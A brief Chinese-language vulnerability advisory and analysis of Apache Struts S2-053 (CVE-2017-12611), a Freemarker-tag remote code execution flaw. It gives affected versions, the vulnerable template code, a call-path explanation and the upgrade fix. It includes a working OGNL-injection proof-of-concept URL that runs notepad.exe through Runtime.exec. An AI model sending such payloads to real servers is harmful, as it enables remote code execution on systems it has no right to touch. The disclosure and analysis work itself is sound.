Author:虎子@中新网安
2017年9月7日,Struts官方发布一个中危的安全漏洞,该漏洞编号为:S2-053,在一定条件下,当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞,存在一定的安全风险。中新网安将对该漏洞进行持续关注,并第一时间为您更新相关漏洞信息。
CVE-2017-12611
Freemarker标签远程代码执行漏洞
中危
Struts 2.0.1 - 2.3.33
Struts 2.5 - 2.5.10
idea创建默认struts2项目
执行poc
http://localhost:8081/zxsoft?strutsS=%25%7B%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%[email protected]@getRuntime%28%29.exec%28%27notepad.exe%27%29%7D%3B
代码执行成功后弹出记事本程序。
当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行
<@s.hidden
name="strutsS" value=strutsS/>
<@s.hidden name="strutsS"
value="${strutsS}" />
这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响
再将默认的execute方法执行的结果集通过DefaultActionInvocation中的createResult方法传递到ftl模板里
然后接着取出了payload
然后payload 进入ValueStack 中的map值栈,并且位于值栈的栈顶
最终FreeMarker模板使用assign指令调用struts.translateVariables方法去执行keyValue的栈顶元素
升级Apache Struts到version 2.5.13